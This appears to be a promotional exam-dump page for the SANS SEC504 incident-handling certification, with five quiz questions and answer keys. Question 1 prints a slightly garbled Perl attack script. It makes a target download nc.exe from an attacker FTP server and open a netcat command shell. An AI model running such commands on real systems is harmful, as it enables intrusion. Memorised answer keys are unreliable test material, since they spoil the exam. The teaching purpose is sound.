SEC504 Q&As

Hacker Tools, Techniques, Exploits and Incident Handling

Pass SANS SEC504 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.leads4pass.com/sec504.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by SANS Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

Adam, a malicious hacker performs an exploit, which is given below:

######

##

$port = 53;

Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = \\'noone@nowhere.com\\';# password

######

##

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C

\"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl

-h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl

msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked.

html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host

$port"); exit(0);

Which of the following is the expected result of the above exploit?

A. Creates a share called "sasfile" on the target system

B. Creates an FTP server with write permissions enabled

C. Opens up a SMTP server that requires no username or password

D. Opens up a telnet listener that requires no username or password

Correct Answer: D

QUESTION 2

TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. The combination of parameters may then be used to infer the remote operating system (OS fingerprinting), or incorporated into a device fingerprint.

Which of the following Nmap switches can be used to perform TCP/IP stack fingerprinting?

A. nmap -sS

B. nmap -sU -p

C. nmap -O -p

D. nmap -sT

Correct Answer: C

QUESTION 3

Which of the following functions in c/c++ can be the cause of buffer overflow? Each correct answer represents a complete solution. Choose two.

A. printf()

B. strcat()

C. strcpy()

D. strlength()

Correct Answer: BC

QUESTION 4

Your company has been hired to provide consultancy, development, and integration services for a company named Brainbridge International. You have prepared a case study to plan the upgrade for the company.

Based on the case study, which of the following steps will you suggest for configuring WebStore1? Each correct answer represents a part of the solution. Choose two.

A. Customize IIS 6.0 to display a legal warning page on the generation of the 404.2 and 404.3 errors.

B. Move the WebStore1 server to the internal network.

C. Configure IIS 6.0 on WebStore1 to scan the URL for known buffer overflow attacks.

D. Move the computer account of WebStore1 to the Remote organizational unit (OU).

Correct Answer: AC

QUESTION 5

John is a malicious attacker. He illegally accesses the server of We-are-secure Inc. He then places a backdoor in the We-are-secure server and alters its log files.

Which of the following steps of malicious hacking includes altering the server log files?

A. Maintaining access

B. Covering tracks

C. Gaining access

D. Reconnaissance

Correct Answer: B